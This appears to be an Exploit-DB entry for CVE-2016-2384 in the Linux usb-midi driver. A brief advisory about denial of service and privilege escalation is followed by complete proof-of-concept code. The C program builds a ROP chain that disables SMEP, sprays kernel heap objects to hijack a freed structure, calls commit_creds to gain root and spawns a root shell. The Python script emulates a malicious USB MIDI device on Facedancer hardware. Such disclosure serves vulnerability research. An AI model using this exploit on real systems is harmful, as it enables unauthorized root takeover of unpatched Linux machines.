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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 | Source: https://xairy.github.io/blog/2016/cve-2016-2384 Source: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-2384 Source: https://www.youtube.com/watch?v=lfl1NJn1nvo Exploit-DB Note: This requires physical access to the machine, as well as local access on the system. - - - This post describes an exploitable vulnerability (CVE-2016-2384 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-2384) in the usb-midi Linux kernel driver. The vulnerability is present only if the usb-midi module is enabled, but as far as I can see many modern distributions do this. The bug has been fixed upstream (https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=07d86ca93db7e5cdf4743564d98292042ec21af7). The vulnerability can be exploited in two ways: - Denial of service. Requires physical access (ability to plug in a malicious USB device). All the kernel versions seem to be vulnerable to this attack. I managed to cause a kernel panic on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic), Fedora 22 (4.1.5-200.fe22.x86_64) and CentOS 6 (2.6.32-584.12.2.e16.x86_64). - Arbitrary code execution with ring 0 privileges (and therefore a privilege escalation). Requires both physical and local access (ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user). All the kernel versions starting from v3.0 seem to be vulnerable to this attack. I managed to gain root privileges on real machines with the following kernels: Ubuntu 14.04 (3.19.0-49-generic), Linux Mint 17.3 (3.19.0-32-generic) and Fedora 22 (4.1.5-200.fe22.x86_64). All machines had SMEP turned on, but didn't have SMAP. A proof-of-concept exploit (poc.c - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.c, poc.py - https://github.com/xairy/kernel-exploits/blob/master/CVE-2016-2384/poc.py) is provided for both types of attacks. The provided exploit uses a Facedancer21 (http://goodfet.sourceforge.net/hardware/facedancer21/) board to physically emulate the malicious USB device. The provided exploit bypasses SMEP, but doesn't bypass SMAP (though it might be possible to do). It has about 50% success rate (the kernel crashes on failure), but this can probably be improved. Check out the demo video (https://www.youtube.com/watch?v=lfl1NJn1nvo). It should actually be possible to make the entire exploit for the arbitrary code execution hardware only and therefore eliminate the local access requirement, but this approach wasn't thoroughly investigated. The vulnerability was found with KASAN (https://github.com/google/kasan) (KernelAddressSanitizer, a kernel memory error detector) and vUSBf (https://github.com/schumilo/vUSBf) (a virtual usb fuzzer). --- poc.c --- // A part of the proof-of-concept exploit for the vulnerability in the usb-midi // driver. Meant to be used in conjuction with a hardware usb emulator, which // emulates a particular malicious usb device (a Facedancer21 for example). // // Andrey Konovalov <andreyknvl@gmail.com> // // Usage: //// Edit source to set addresses of the kernel symbols and the ROP gadgets. //$ gcc poc.c -masm=intel //// Run N instances of the binary with the argument increasing from 0 to N, //// where N is the number of cpus on your machine. //$ ./a.out 0 & ./a.out 1 & ... //[+] starting as: uid=1000, euid=1000 //[+] payload addr: 0x400b60 //[+] fake stack mmaped //[+] plug in the usb device... //// Now plug in the device a few times. //// In one of the instances you will get (if the kernel doesn't crash): //[+] got r00t: uid=0, euid=0 //# id //uid=0(root) gid=0(root) groups=0(root) #define _GNU_SOURCE #include <netinet/ip.h> #include <assert.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <arpa/inet.h> // You need to set these based on your kernel. // To easiest way to obtain the addresses of commit_creds and prepare_kernel_cred // is to boot your kernel and grep /proc/kallsyms for them. // The easiest way to obtain the gadgets addresses is to use the ROPgadget util. // Note that all of the used gadgets must preserve the initial value of the rbp // register, since this value is used later on to restore rsp. // The value of CR4_DESIRED_VALUE must have the SMEP bit disabled. #define COMMIT_CREDS0xffffffff810957e0L #define PREPARE_KERNEL_CRED 0xffffffff81095ae0L #define XCHG_EAX_ESP_RET0xffffffff8100008aL #define POP_RDI_RET 0xffffffff8118991dL #define MOV_DWORD_PTR_RDI_EAX_RET 0xffffffff810fff17L #define MOV_CR4_RDI_RET 0xffffffff8105b8f0L #define POP_RCX_RET 0xffffffff810053bcL #define JMP_RCX 0xffffffff81040a90L #define CR4_DESIRED_VALUE 0x407f0 // Payload. Saves eax, which holds the 32 lower bits of the old esp value, // disables SMEP, restores rsp, obtains root, jumps back to the caller. #define CHAIN_SAVE_EAX\ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_eax;\ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define CHAIN_SET_CR4 \ *stack++ = POP_RDI_RET; \ *stack++ = CR4_DESIRED_VALUE; \ *stack++ = MOV_CR4_RDI_RET; \ #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload;\ *stack++ = JMP_RCX; \ typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; void get_root(void) { commit_creds(prepare_kernel_cred(0)); } uint64_t saved_eax; // Unfortunately GCC does not support <code>__atribute__((naked))</code> on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload:\n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx\n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ jmp get_root\n\ " : : "m"(saved_eax) : ); } void payload(); // Kernel structs. struct ubuf_info { uint64_t callback;// void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc;// unsigned long }; struct skb_shared_info { uint8_tnr_frags;// unsigned char uint8_ttx_flags;// __u8 uint16_t gso_size;// unsigned short uint16_t gso_segs;// unsigned short uint16_t gso_type;// unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg;// void * uint8_tfrags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; #define MIDI_MAX_ENDPOINTS 2 struct snd_usb_midi { uint8_t bullshit[240]; struct snd_usb_midi_endpoint { uint64_t out; // struct snd_usb_midi_out_endpoint * uint64_t in;// struct snd_usb_midi_in_endpoint * } endpoints[MIDI_MAX_ENDPOINTS]; // More bullshit. }; // Init buffer for overwriting a skbuff object. struct ubuf_info ui; void init_buffer(char* buffer) { struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[192]; struct snd_usb_midi *midi = (struct snd_usb_midi *)&buffer[0]; int i; ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ui.callback = XCHG_EAX_ESP_RET; // Prevents some crashes. ssi->nr_frags = 0; // Prevents some crashes. ssi->frag_list = 0; // Prevents some crashes. for (i = 0; i < MIDI_MAX_ENDPOINTS; i++) { midi->endpoints[i].out = 0; midi->endpoints[i].in = 0; } } // Map a fake stack where the ROP payload resides. void mmap_stack() { uint64_t stack_addr; int stack_offset; uint64_t* stack; int page_size; page_size = getpagesize(); stack_addr = (XCHG_EAX_ESP_RET & 0x00000000ffffffffL) & ~(page_size - 1); stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void *)stack_addr, page_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED) { perror("[-] mmap()"); exit(EXIT_FAILURE); } stack = (uint64_t *)((char *)stack + stack_offset); CHAIN_SAVE_EAX; CHAIN_SET_CR4; CHAIN_JMP_PAYLOAD; } // Sending control messages. int socket_open(int port) { int sock; struct sockaddr_in sa; sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock == -1) { perror("[-] socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(port); if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("[-] connect()"); exit(EXIT_FAILURE); } return sock; } void socket_close(int sock) { close(sock); } void socket_sendmmsg(int sock) { struct mmsghdr msg[1]; struct iovec msg2; int rv; char buffer[512]; memset(&msg2, 0, sizeof(msg2)); msg2.iov_base = &buffer[0]; msg2.iov_len = 512; memset(msg, 0, sizeof(msg)); msg[0].msg_hdr.msg_iov = &msg2; msg[0].msg_hdr.msg_iovlen = 1; memset(&buffer[0], 0xa1, 512); struct cmsghdr *hdr = (struct cmsghdr *)&buffer[0]; hdr->cmsg_len = 512; hdr->cmsg_level = SOL_IP + 1; init_buffer(&buffer[0]); msg[0].msg_hdr.msg_control = &buffer[0]; msg[0].msg_hdr.msg_controllen = 512; rv = syscall(__NR_sendmmsg, sock, msg, 1, 0); if (rv == -1) { perror("[-] sendmmsg()"); exit(EXIT_FAILURE); } } // Allocating and freeing skbuffs. struct sockaddr_in server_si_self; struct sockaddr_in client_si_other; int init_server(int port) { int sock; int rv; sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock == -1) { perror("[-] socket()"); exit(EXIT_FAILURE); } memset(&server_si_self, 0, sizeof(server_si_self)); server_si_self.sin_family = AF_INET; server_si_self.sin_port = htons(port); server_si_self.sin_addr.s_addr = htonl(INADDR_ANY); rv = bind(sock, (struct sockaddr *)&server_si_self, sizeof(server_si_self)); if (rv == -1) { perror("[-] bind()"); exit(EXIT_FAILURE); } return sock; } int init_client(int port) { int sock; int rv; sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sock == -1) { perror("[-] socket()"); exit(EXIT_FAILURE); } memset(&client_si_other, 0, sizeof(client_si_other)); client_si_other.sin_family = AF_INET; client_si_other.sin_port = htons(port); rv = inet_aton("127.0.0.1", &client_si_other.sin_addr); if (rv == 0) { perror("[-] inet_aton()"); exit(EXIT_FAILURE); } return sock; } void client_send_message(int sock) { int rv; // Messages of 128 bytes result in 512 bytes skbuffs. char sent_message[128] = { 0x10 }; rv = sendto(sock, &sent_message[0], 128, 0, (struct sockaddr *)&client_si_other, sizeof(client_si_other)); if (rv == -1) { perror("[-] sendto()"); exit(EXIT_FAILURE); } } void destroy_server(int sock) { close(sock); } void destroy_client(int sock) { close(sock); } // Checking root. void exec_shell() { char *args[] = {"/bin/sh", "-i", NULL}; execve("/bin/sh", args, NULL); } void fork_shell() { pid_t rv; rv = fork(); if (rv == -1) { perror("[-] fork()"); exit(EXIT_FAILURE); } if (rv == 0) { exec_shell(); } while (true) { sleep(1); } } bool is_root() { return getuid() == 0; } void check_root() { if (!is_root()) return; printf("[+] got r00t: uid=%d, euid=%d\n", getuid(), geteuid()); // Fork and exec instead of just doing the exec to avoid freeing skbuffs // and prevent some crashes due to a allocator corruption. fork_shell(); } // Main. #define PORT_BASE_1 4100 #define PORT_BASE_2 4200 #define PORT_BASE_3 4300 #define SKBUFFS_NUM 64 #define MMSGS_NUM 256 int server_sock; int client_sock; void step_begin(int id) { int i; server_sock = init_server(PORT_BASE_2 + id); client_sock = init_client(PORT_BASE_2 + id); for (i = 0; i < SKBUFFS_NUM; i++) { client_send_message(client_sock); } for (i = 0; i < MMSGS_NUM; i++) { int sock = socket_open(PORT_BASE_3 + id); socket_sendmmsg(sock); socket_close(sock); } } void step_end(int id) { destroy_server(server_sock); destroy_client(client_sock); } void body(int id) { int server_sock, client_sock, i; server_sock = init_server(PORT_BASE_1 + id); client_sock = init_client(PORT_BASE_1 + id); for (i = 0; i < 512; i++) client_send_message(client_sock); while (true) { step_begin(id); check_root(); step_end(id); } } bool parse_int(const char *input, int *output) { char* wrong_token = NULL; int result = strtol(input, &wrong_token, 10); if (*wrong_token != '\0') { return false; } *output = result; return true; } int main(int argc, char **argv) { bool rv; int id; if (argc != 2) { printf("Usage: %s <instance_id>\n", argv[0]); return EXIT_SUCCESS; } rv = parse_int(argv[1], &id); if (!rv) { printf("Usage: %s <instance_id>\n", argv[0]); return EXIT_SUCCESS; } printf("[+] starting as: uid=%d, euid=%d\n", getuid(), geteuid()); printf("[+] payload addr: %p\n", &payload); mmap_stack(); printf("[+] fake stack mmaped\n"); printf("[+] plug in the usb device...\n"); body(id); return EXIT_SUCCESS; } --- EOF --- ---poc.py--- #!/usr/bin/env python3 # A part of the proof-of-concept exploit for the vulnerability in the usb-midi # driver. Can be used on it's own for a denial of service attack. Should be # used in conjuction with a userspace part for an arbitrary code execution # attack. # # Requires a Facedancer21 board # (http://goodfet.sourceforge.net/hardware/facedancer21/). # # Andrey Konovalov <anreyknvl@gmail.com> from USB import * from USBDevice import * from USBConfiguration import * from USBInterface import * class PwnUSBDevice(USBDevice): name = "USB device" def __init__(self, maxusb_app, verbose=0): interface = USBInterface( 0,# interface number 0,# alternate setting 255,# interface class 0,# subclass 0,# protocol 0,# string index verbose, [], {} ) config = USBConfiguration( 1,# index "Emulated Device",# string desc [ interface ] # interfaces ) USBDevice.__init__( self, maxusb_app, 0,# device class 0,# device subclass 0,# protocol release number 64, # max packet size for endpoint 0 0x0763, # vendor id 0x1002, # product id 0,# device revision "Midiman",# manufacturer string "MidiSport 2x2",# product string "?",# serial number string [ config ], verbose=verbose ) from Facedancer import * from MAXUSBApp import * sp = GoodFETSerialPort() fd = Facedancer(sp, verbose=1) u = MAXUSBApp(fd, verbose=1) d = PwnUSBDevice(u, verbose=4) d.connect() try: d.run() except KeyboardInterrupt: d.disconnect() ---EOF--- |
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